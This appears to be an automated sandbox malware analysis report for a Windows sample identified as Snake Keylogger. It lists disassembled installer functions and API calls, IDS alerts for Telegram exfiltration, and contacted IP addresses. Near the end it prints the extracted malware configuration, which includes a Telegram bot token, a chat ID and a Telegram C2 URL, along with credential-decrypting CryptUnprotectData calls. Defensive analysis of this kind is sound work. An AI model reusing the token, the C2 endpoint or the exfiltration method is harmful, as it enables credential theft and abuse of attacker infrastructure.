Instruction ID: 6d7bab0cfc2d48cbbbe6bb2f91b005b1c0391479526b60628745523d5c0137a7
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 66F02B71501129A7CF10AB68DD0EF9F376CAB00304F10447AA646F10E0EB7CDB69CB98

Function 00401794 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017FA

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 004055FC: lstrlenW.KERNEL32(0042BA48,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,0042BA48,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,?,755723A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 99b6416810ddb5753ad8509ba94df8da2a36f778d9381ab1a10acee0bad54b07
Instruction ID: 896c0c78208a39cbb5dd39340d0745d1a2bf2ace5f7797069eceb710e9101d93
Opcode Fuzzy Hash: 99b6416810ddb5753ad8509ba94df8da2a36f778d9381ab1a10acee0bad54b07
Instruction Fuzzy Hash: 4C41B671900108BACB117BB5DD85DBE7AB9EF45328F21423FF412B10E2D73C8A919A2D

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 446d876c474c9d83549856ad9cac23e68bb7371358ae7480bd0e7fa7c4692e5e
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 1D212A7150010ABFDF129F90CE89EEF7A7DEB54388F110076B909B21E0E7B58E54AA64

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction ID: c57303c31a56d7bc8f2a0c5af16d3cdd50a2ae23bf22298ce01a5789fd7b985b
Opcode Fuzzy Hash: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction Fuzzy Hash: B9211972900119AFCB05DF98DE45AEEBBB5EB08354F14003AFA45F62A0D7789D81DB98

Function 00401E73 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401EF8

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction ID: 32ce691c062fdf7882ca7c79f7dc95dd78c7e40f541a0607bb82830de01dd458
Opcode Fuzzy Hash: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction Fuzzy Hash: 3C017171905250EFE7005BB4EE49BDD3FA4AB19301F208A7AF142B61E2CBB904458BED

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction ID: 1a2acd516b32d4a8bba1f086ee74ddb70cdd2400578aaa813c3bd98b8eca9c32
Opcode Fuzzy Hash: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction Fuzzy Hash: 1121A071D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B88941DB98

Function 00404DA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
wsprintfW.USER32 ref: 00404E4D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

%u.%u%s%s, xrefs: 00404E2E

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: f1ad69e943298bab6ea0b6c220370dbc78873d19d133ff1b34b391d97265b774
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: 3011EB336041287BDB10566DAC45E9E329CDF85374F250237FE25F21D5E978C92182E8

Function 0040303E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,0040321C,?), ref: 00403051
GetTickCount.KERNEL32 ref: 0040306F
CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 0040308C
ShowWindow.USER32(00000000,00000005), ref: 0040309A

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction ID: e0f0fd039426b51c9db09d8e0aed7b7b9f53d87474512ec8403aba9b2c913b41
Opcode Fuzzy Hash: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction Fuzzy Hash: 93F05470602A21ABC6216F50FE09A9B7B69FB45B12B41043AF545B11ACCB384891CB9D

Function 00405F4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 00405EF1: CharNextW.USER32(?,?,0042F270,?,00405F65,0042F270,0042F270, 4Wu,?,00441800,00405CA3,?,75573420,00441800,0043F000), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

lstrlenW.KERNEL32(0042F270,00000000,0042F270,0042F270, 4Wu,?,00441800,00405CA3,?,75573420,00441800,0043F000), ref: 00405FA7
GetFileAttributesW.KERNEL32(0042F270,0042F270,0042F270,0042F270,0042F270,0042F270,00000000,0042F270,0042F270, 4Wu,?,00441800,00405CA3,?,75573420,00441800), ref: 00405FB7

Strings

4Wu, xrefs: 00405F50

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu
API String ID: 3248276644-2004972366
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 6a7a19aedd3560da6e477bd72522a8c235124595f9c35bb96c459409ca5d5c37
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 28F0F42A105E6369C622333A5C05AAF1954CE86324B5A453FBC91F22C5CF3C8A42CDBE

Function 00405570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040559F
CallWindowProcW.USER32(?,?,?,?), ref: 004055F0

Part of subcall function 00404542: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Strings

, xrefs: 00405580

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: f144bc20a23b2fc1dad06cc698734642626ca736bc3518a3bbd7873959a32aa8
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 21017171100608BBDF219F11DD84A9F376BEB84794F204037FA027A1D9C7398D529A69

Function 00406096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004060B4
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403550,00441000,00441800,00441800,00441800,00441800,00441800,00441800,0040383C), ref: 004060CF

Strings

nsa, xrefs: 004060A3

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 0f0e971a11aa9000600537ad3b21051f2e76e4828209a3ca974843c19b3e0847
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: B5F09076B40204BBEB00CF69ED05F9EB7ACEBA5750F11803AE901F7180E6B099648768

Function 00405FCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FF4
CharNextA.USER32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406005
lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: b896d6fd3cda69cb85c158c7a33f171d68b8f81fed19edc6c2f6f75b2124ada4
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 64F0F631104418FFC702DFA5DD00D9EBBA8EF45350B2200B9E841FB250D674DE11AB68

Source: 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog", "Chat_id": "1767942457", "Version": "4.4"}
Source: ZoRLXzC5qF.exe.3760.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendMessage"}

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39C587A8 CryptUnprotectData,		3_2_39C587A8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_39C58EF1 CryptUnprotectData,		3_2_39C58EF1

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49730 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.8:49728 -> 149.154.167.220:443

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 0015F45Dh	3_2_0015F2C0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 0015F45Dh	3_2_0015F4AC
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 0015FC19h	3_2_0015F961
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DA31E0h	3_2_38DA2DC8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DA2C19h	3_2_38DA2968
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAD3A1h	3_2_38DAD0F8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DACF49h	3_2_38DACCA0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_38DA0040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAFAB9h	3_2_38DAF810
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DA31E0h	3_2_38DA2DC4
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DADC51h	3_2_38DAD9A8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAD7F9h	3_2_38DAD550
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DA31E0h	3_2_38DA310E
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAE959h	3_2_38DAE6B0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAE501h	3_2_38DAE258
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAE0A9h	3_2_38DADE00
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAF661h	3_2_38DAF3B8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAF209h	3_2_38DAEF60
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DAEDB1h	3_2_38DAEB08
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DA0D0Dh	3_2_38DA0B30
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 38DA1697h	3_2_38DA0B30
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C59280h	3_2_39C58FB0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C57EB5h	3_2_39C57B78
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C525A9h	3_2_39C52300
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5ECA6h	3_2_39C5E9D8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5CCB6h	3_2_39C5C9E8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C518A1h	3_2_39C515F8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C51449h	3_2_39C511A0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5E816h	3_2_39C5E548
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C50FF1h	3_2_39C50D48
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5C826h	3_2_39C5C558
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5C396h	3_2_39C5C0C8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C50B99h	3_2_39C508F0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then mov esp, ebp	3_2_39C5B081
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C532B1h	3_2_39C5308F
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C56733h	3_2_39C56488
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C50741h	3_2_39C50498
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5E386h	3_2_39C5E0B8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C502E9h	3_2_39C50040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C53709h	3_2_39C53460
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5DEF6h	3_2_39C5DC28
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C562D9h	3_2_39C56030
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5BF06h	3_2_39C5BC38
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C55E81h	3_2_39C55BD8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C55A29h	3_2_39C55780
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5FA56h	3_2_39C5F788
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5DA66h	3_2_39C5D798
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5BA76h	3_2_39C5B7A8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C52E59h	3_2_39C52BB0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C52A01h	3_2_39C52758
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5D5D6h	3_2_39C5D308
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5B5E6h	3_2_39C5B318
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C579C9h	3_2_39C57720
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C555D1h	3_2_39C55328
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C57571h	3_2_39C572C8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C55179h	3_2_39C54ED0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5F5C6h	3_2_39C5F2F8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C52151h	3_2_39C51EA8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C51CF9h	3_2_39C51A50
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5F136h	3_2_39C5EE68
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C57119h	3_2_39C56E70
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C5D146h	3_2_39C5CE78
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C54D21h	3_2_39C54A78
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C56CC1h	3_2_39C56A18
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39C548C9h	3_2_39C54620
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC6347h	3_2_39CC5FD8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC6970h	3_2_39CC6678
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC3506h	3_2_39CC3238
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CC3996h	3_2_39CC36C8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 4x nop then jmp 39CCE5C0h	3_2_39CCE2C8
